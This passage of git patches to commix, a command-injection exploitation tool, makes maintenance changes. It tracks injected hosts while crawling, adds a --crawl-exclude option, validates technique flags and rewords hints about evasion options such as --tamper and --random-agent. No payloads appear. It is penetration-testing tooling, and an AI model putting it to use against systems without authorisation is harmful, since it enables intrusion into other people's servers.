if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 5d741557a8..03ea59c81b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -335,6 +335,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0a2d8d7619..0a07053332 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -346,6 +346,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index edb2c4b94e..a24fe70083 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -563,6 +563,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/main.py b/src/core/main.py index 1736391973..71124fbaba 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -337,6 +337,15 @@ def stdin_parsing_target(os_checks_num): _.append(url.rstrip()) return _ +""" +Check if an injection point has already been detected against target. +""" +def check_for_injected_url(url): + _ = True + if _urllib.parse.urlparse(url).netloc not in settings.CRAWLED_URLS_INJECTED: + _ = False + return _ + """ The main function. """ @@ -921,36 +930,70 @@ def main(filename, url): print(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: - http_request_method = checks.check_http_method(url) - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: - url_num += 1 - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = common.read_input(message, default="Y", check_batch=True) - if message in settings.CHOICE_YES: - if os_checks_num == 0: - settings.INIT_TEST = True - if url == clean_output_href[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except: - pass - elif message in settings.CHOICE_NO: - if url_num == len(clean_output_href): - raise SystemExit() - else: - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - + if check_for_injected_url(url): + if settings.SKIP_VULNERABLE_HOST is None: + while True: + message = "An injection point has already been detected against '" + _urllib.parse.urlparse(url).netloc + "'. " + message += "Do you want to skip further tests involving it? [Y/n] > " + skip_host = common.read_input(message, default="Y", check_batch=True) + if skip_host in settings.CHOICE_YES: + settings.SKIP_VULNERABLE_HOST = True + break + elif skip_host in settings.CHOICE_NO: + settings.SKIP_VULNERABLE_HOST = False + break + elif skip_host in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(skip_host) + pass + + if settings.SKIP_VULNERABLE_HOST: + url_num += 1 + info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")." + print(settings.print_info_msg(info_msg)) + + if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: + if not check_for_injected_url(url): + settings.SKIP_VULNERABLE_HOST = None + http_request_method = checks.check_http_method(url) + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: + url_num += 1 + perform_check = True + while True: + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + next_url = common.read_input(message, default="Y", check_batch=True) + if next_url in settings.CHOICE_YES: + break + elif next_url in settings.CHOICE_NO: + perform_check = False + if url_num == len(clean_output_href): + raise SystemExit() + else: + break + elif next_url in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_url) + pass + if perform_check: + if os_checks_num == 0: + settings.INIT_TEST = True + if url == clean_output_href[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + except: + pass + if url_num == len(clean_output_href): raise SystemExit() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 36fe50c4fa..817e53767d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -422,6 +422,8 @@ def shellshock_handler(url, http_request_method, filename): if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 07720e03ed..e0c1ecde81 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1214,6 +1214,8 @@ def sys_argv_errors(): CRAWLING = CRAWLING_PHASE = False CRAWLED_SKIPPED_URLS_NUM = 0 CRAWLED_URLS_NUM = 0 +CRAWLED_URLS_INJECTED = [] +SKIP_VULNERABLE_HOST = None # Skipped crawled hrefs HREF_SKIPPED = [] @@ -1231,4 +1233,5 @@ def sys_argv_errors(): CHECKING_PARAMETER = "" PCRE_REPLACE_EVAL = False + # eof \ No newline at end of file From 505938c439a5c93dd5b8206cb00d356876019e8b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 6 Jan 2023 08:37:10 +0200 Subject: [PATCH 0248/1023] Minor update --- src/utils/crawler.py | 3 +-- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index b5d7fb8508..b00af136db 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -89,7 +89,6 @@ def normalize_results(output_href): raise SystemExit() else: common.invalid_option(message) - print(settings.print_error_msg(err_msg)) pass @@ -296,7 +295,7 @@ def crawler(url, url_num, crawling_list): _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" else: _ = "" - info_msg = "Starting crawler for target URL '" + url + "'" + _ + info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." print(settings.print_info_msg(info_msg)) response = request(url) if settings.SITEMAP_CHECK: diff --git a/src/utils/settings.py b/src/utils/settings.py index e0c1ecde81..2121ec2d0f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c6a700ad8ece4d6a91b142aff3b505fe9421486a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 7 Jan 2023 08:50:17 +0200 Subject: [PATCH 0249/1023] Minor update --- src/core/injections/controller/controller.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b269673d58..786b8218cb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -843,8 +843,8 @@ def do_check(url, http_request_method, filename): err_msg += " and/or remove the option '--skip-empty'" err_msg += "." print(settings.print_critical_msg(err_msg)) - - logs.print_logs_notification(filename, url) + else: + logs.print_logs_notification(filename, url) # if not settings.MULTI_TARGETS: # print(settings.SINGLE_WHITESPACE) if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: diff --git a/src/utils/settings.py b/src/utils/settings.py index 2121ec2d0f..26e4cdab56 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c345490efd7208e5a981646ded370be3b197352e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 8 Jan 2023 09:12:41 +0200 Subject: [PATCH 0250/1023] Trivial update --- src/core/injections/controller/controller.py | 25 +++++++++++++------- src/utils/settings.py | 2 +- 2 files changed, 18 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 786b8218cb..42a6a59d5f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -832,17 +832,26 @@ def do_check(url, http_request_method, filename): if menu.options.level > settings.COOKIE_INJECTION_LEVEL: err_msg += "and HTTP headers " err_msg += "appear to be not injectable." - if not menu.options.alter_shell : - err_msg += " Try to use the option '--alter-shell'" - else: - err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " and/or increase '--level' value to perform" - err_msg += " more tests" + err_msg += " Try to increase value for '--level' option" if menu.options.skip_empty: - err_msg += " and/or remove the option '--skip-empty'" + err_msg += " and/or remove option '--skip-empty'" + err_msg += " if you wish to perform more tests." + err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" + if not menu.options.alter_shell : + err_msg += " use option '--alter-shell'" + else: + err_msg += " remove option '--alter-shell'" + if not menu.options.tamper: + err_msg += " and/or use option '--tamper'" + if not menu.options.random_agent: + if not menu.options.tamper: + err_msg += " and/or" + err_msg += " switch '--random-agent'" err_msg += "." - print(settings.print_critical_msg(err_msg)) + if settings.MULTI_TARGETS: + err_msg += " Skipping to the next target." + print(settings.print_error_msg(err_msg)) else: logs.print_logs_notification(filename, url) # if not settings.MULTI_TARGETS: diff --git a/src/utils/settings.py b/src/utils/settings.py index 26e4cdab56..cede2c049f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 53c3b9732025ed7076175ecc537c7f86cb40a4b2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 9 Jan 2023 09:07:16 +0200 Subject: [PATCH 0251/1023] Trivial update --- src/core/main.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 71124fbaba..4d4aaf9480 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -299,6 +299,9 @@ def url_response(url): Injection states initiation. """ def init_injection(url): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Initializing the knowledge base." + print(settings.print_debug_msg(debug_msg)) # Initiate heuristic checks. if settings.SKIP_CODE_INJECTIONS: settings.SKIP_CODE_INJECTIONS = False diff --git a/src/utils/settings.py b/src/utils/settings.py index cede2c049f..5402c7b8c0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5f931721d612814c7c6ebe18290e312f632b1052 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 10 Jan 2023 07:27:45 +0200 Subject: [PATCH 0252/1023] Fixes https://github.com/commixproject/commix/issues/803 --- src/core/injections/controller/controller.py | 25 +++++------ src/core/main.py | 47 +++++++++++++------- src/utils/settings.py | 4 +- 3 files changed, 42 insertions(+), 34 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 42a6a59d5f..8a10ea3c2a 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -311,17 +311,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) - # Skipping specific injection techniques. - if settings.SKIP_TECHNIQUES: - menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - for skip_tech_name in settings.AVAILABLE_TECHNIQUES: - if skip_tech_name in menu.options.skip_tech: - menu.options.tech = menu.options.tech.replace(skip_tech_name,"") - if len(menu.options.tech) == 0: - err_msg = "Detection procedure was aborted due to skipping all injection techniques." - print(settings.print_critical_msg(err_msg)) - raise SystemExit - # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): @@ -389,10 +378,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time common.invalid_option(procced_option) pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that " - warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) tests shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ @@ -837,6 +826,12 @@ def do_check(url, http_request_method, filename): if menu.options.skip_empty: err_msg += " and/or remove option '--skip-empty'" err_msg += " if you wish to perform more tests." + if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " Rerun without providing the option " + if not settings.SKIP_TECHNIQUES : + err_msg += "'--technique'." + else: + err_msg += "'--skip-technique'." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" if not menu.options.alter_shell : err_msg += " use option '--alter-shell'" diff --git a/src/core/main.py b/src/core/main.py index 4d4aaf9480..79e7e1ffba 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -164,6 +164,7 @@ def user_agent_header(): print(settings.print_info_msg(info_msg)) except: print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP User-Agent header." print(settings.print_debug_msg(debug_msg)) @@ -447,25 +448,39 @@ def main(filename, url): else: settings.USER_SUPPLIED_TECHNIQUE = True else: - menu.options.tech = list(menu.options.tech) + menu.options.tech = list(menu.options.tech.lower()) _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))} - menu.options.tech.sort(key=lambda x:_[x]) + try: + menu.options.tech.sort(key=lambda x:_[x]) + except KeyError: + pass menu.options.tech = ''.join(menu.options.tech) else: menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) # Check for skipping injection techniques. if menu.options.skip_tech: + # Convert injection technique(s) to lowercase + menu.options.skip_tech = menu.options.skip_tech.lower() settings.SKIP_TECHNIQUES = True - menu.options.tech = menu.options.skip_tech + if menu.options.tech: + err_msg = "The options '--technique' and '--skip-technique' cannot be used " + err_msg += "simultaneously (i.e. only one option must be set)." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + else: + menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) + for skip_tech_name in settings.AVAILABLE_TECHNIQUES: + if skip_tech_name in menu.options.skip_tech: + menu.options.tech = menu.options.tech.replace(skip_tech_name,"") + if len(menu.options.tech) == 0: + err_msg = "Detection procedure was aborted due to skipping all injection techniques." + print(settings.print_critical_msg(err_msg)) + raise SystemExit # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False - - # Convert injection technique(s) to lowercase - menu.options.tech = menu.options.tech.lower() - # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX) @@ -485,20 +500,22 @@ def main(filename, url): found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[i] err_msg += "' as injection technique. " - err_msg += "The value for '" + err_msg += "The value for option '" if not settings.SKIP_TECHNIQUES : err_msg += "--technique" else: - err_msg += "--skip-technique" - - err_msg += "' must be a string composed by the letters C, E, T, F. " - err_msg += "Refer to the official wiki for details." + err_msg += "--skip-technique" + err_msg += "' must be a string composed by the letters " + err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper() + err_msg += ". Refer to the official wiki for details." print(settings.print_critical_msg(err_msg)) raise SystemExit() if not menu.options.tech: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - + else: + settings.USER_SUPPLIED_TECHNIQUE = True + # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: @@ -527,10 +544,6 @@ def main(filename, url): session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) - # Modification on payload - # if not menu.options.shellshock and not settings.USE_BACKTICKS and not settings.MULTI_TARGETS: - # settings.SYS_USERS = checks.add_command_substitution(settings.SYS_USERS) - # settings.SYS_PASSES = checks.add_command_substitution(settings.SYS_PASSES) # Check if defined "--file-upload" option. if menu.options.file_upload: checks.file_upload() diff --git a/src/utils/settings.py b/src/utils/settings.py index 5402c7b8c0..4f7765ecf5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -602,7 +602,7 @@ def sys_argv_errors(): AVAILABLE_SHELLS = ["python"] # Available injection techniques. -AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ] +AVAILABLE_TECHNIQUES = ['c','e','t','f'] USER_SUPPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False From 840cc086e4f0b31b61dd3f4824583b70db5e6ba0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 11 Jan 2023 07:29:09 +0200 Subject: [PATCH 0253/1023] Added a new option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). --- doc/CHANGELOG.md | 1 + src/core/main.py | 12 ++++++++++++ src/utils/crawler.py | 15 ++++++++++----- src/utils/menu.py | 5 +++++ src/utils/settings.py | 2 +- 5 files changed, 29 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c7d3582b35..2a5b6b07ec 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. * Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). * Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). diff --git a/src/core/main.py b/src/core/main.py index 79e7e1ffba..d73dd7109c 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -816,6 +816,18 @@ def main(filename, url): if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK: settings.CRAWLING = True + if menu.options.crawl_exclude: + if not settings.CRAWLING: + err_msg = "The '--crawl-exclude' option requires usage of option '--crawl'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + try: + re.compile(menu.options.crawl_exclude) + except Exception as e: + err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check arguments if len(sys.argv) == 1 and not settings.STDIN_PARSING: menu.parser.print_help() diff --git a/src/utils/crawler.py b/src/utils/crawler.py index b00af136db..478c22934a 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -269,12 +269,17 @@ def do_process(url): href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") if href: href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href)) - if _urllib.parse.urlparse(url).netloc in href: + if _urllib.parse.urlparse(url).netloc in href: if (common.extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: - if not re.search(r"\?(v=)?\d+\Z", href) and \ - not re.search(r"(?i)\.(js|css)(\?|\Z)", href): - identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) - + if not re.search(r"\?(v=)?\d+\Z", href) and not re.search(r"(?i)\.(js|css)(\?|\Z)", href): + if menu.options.crawl_exclude and re.search(menu.options.crawl_exclude, href or ""): + if href not in visited_hrefs: + visited_hrefs.append(href) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping URL " + href + "." + print(settings.print_debug_msg(debug_msg)) + else: + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) no_usable_links(crawled_hrefs) if identified_hrefs: if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: diff --git a/src/utils/menu.py b/src/utils/menu.py index 03d4659326..e3069316c7 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -169,6 +169,11 @@ def banner(): type="int", help="Crawl the website starting from the target URL (Default: 1).") +target.add_option("--crawl-exclude", + dest="crawl_exclude", + default=None, + help="Regexp to exclude pages from crawling (e.g. \"logout\").") + target.add_option("-x", dest="sitemap_url", help="Parse target(s) from remote sitemap(.xml) file.") diff --git a/src/utils/settings.py b/src/utils/settings.py index 4f7765ecf5..c03f153e28 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f7d9a5020c35f41fc50fd802a4f6c7fc19bddd87 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Jan 2023 08:04:56 +0200 Subject: [PATCH 0254/1023] Minor update --- src/core/main.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index d73dd7109c..ef41c3a7c4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -749,7 +749,7 @@ def main(filename, url): # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: - err_msg = "The '--check-tor' swich requires usage of switch '--tor'." + err_msg = "The '--check-tor' swich requires usage of '--tor' switch." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -818,7 +818,7 @@ def main(filename, url): if menu.options.crawl_exclude: if not settings.CRAWLING: - err_msg = "The '--crawl-exclude' option requires usage of option '--crawl'." + err_msg = "The '--crawl-exclude' option requires usage of '--crawl' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() try: diff --git a/src/utils/settings.py b/src/utils/settings.py index c03f153e28..6a2735dbd6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5689d6c87c87824c75d980c5f2fcc1b10f73e71c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Jan 2023 08:56:06 +0200 Subject: [PATCH 0255/1023] Trivial update --- src/core/injections/controller/checks.py | 6 +++--- src/core/requests/parameters.py | 8 ++++---- src/utils/settings.py | 2 +- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 276a9dac2a..27a9e0f85f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -249,10 +249,10 @@ def get_value_boundaries(value): """ Check if the value has boundaries. """ -def value_boundaries(value): +def value_boundaries(parameter, value, http_request_method): _ = get_value_boundaries(value) - message = "It appears that the value '" + str(_) + "' has boundaries. " - message += "Do you want to inject inside? [Y/n] > " + message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " + message += "Do you want to inject inside? ('" + str(value.replace(_,_+"*")) + "')? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: value = _ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index b3c6729326..c686c88697 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -82,7 +82,7 @@ def do_GET_check(url, http_request_method): # Check if single parameter is supplied. if len(multi_parameters) == 1: if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) + value = checks.value_boundaries(multi_parameters, value, http_request_method) # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: @@ -127,7 +127,7 @@ def do_GET_check(url, http_request_method): if checks.ignore_anticsrf_parameter(all_params[param]): continue if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) + value = checks.value_boundaries(all_params[param], value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: @@ -253,7 +253,7 @@ def do_POST_check(parameter, http_request_method): if checks.ignore_anticsrf_parameter(parameter): return parameter if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) + value = checks.value_boundaries(parameter, value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if settings.IS_JSON: @@ -307,7 +307,7 @@ def do_POST_check(parameter, http_request_method): if checks.ignore_anticsrf_parameter(all_params[param]): continue if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) + value = checks.value_boundaries(all_params[param], value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6a2735dbd6..69241fe3fe 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fde2d6ae19bd671dc00405e2c2ad1725623862b1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 14 Jan 2023 07:38:42 +0200 Subject: [PATCH 0256/1023] Improvements regarding dynamic code evaluation technique). --- doc/CHANGELOG.md | 2 +- src/core/injections/controller/checks.py | 100 ++++++++++--------- src/core/injections/controller/controller.py | 4 - src/core/requests/parameters.py | 15 ++- src/utils/settings.py | 7 +- 5 files changed, 70 insertions(+), 58 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2a5b6b07ec..8609b0c023 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -2,7 +2,7 @@ * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. * Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). -* Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). +* Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). ## Version 3.6 (2022-11-18) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 27a9e0f85f..63c945bf94 100755 --- a/src/core/injections/controller/checks.py +++ 